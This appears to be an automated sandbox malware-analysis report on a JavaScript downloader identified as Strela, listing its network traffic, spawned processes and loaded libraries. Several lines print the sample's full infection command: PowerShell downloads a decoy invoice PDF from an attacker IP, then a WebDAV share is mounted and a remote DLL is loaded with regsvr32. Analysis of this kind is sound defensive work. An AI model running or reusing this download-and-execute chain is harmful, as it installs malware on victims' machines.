Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1735074478.0000017DD4231000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1735119029.0000017DD4247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1798917995.0000021135F94000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1798842976.0000021135F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1798288044.0000021135F94000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1798917995.0000021135F94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Jj
Source: net.exe, 00000006.00000002.1798842976.0000021135F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/_
Source: net.exe, 00000006.00000002.1798842976.0000021135F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s64s4
Source: svchost.exe, 00000008.00000002.3011951639.000002209C200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1805712093.000002209C418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1805712093.000002209C418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1805712093.000002209C418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1805712093.000002209C44D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2008, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1327128311804210730.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.344

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5084:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5aua0kxd.auq.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1588,i,4786453068424789189,2420547936523425824,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1588,i,4786453068424789189,2420547936523425824,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
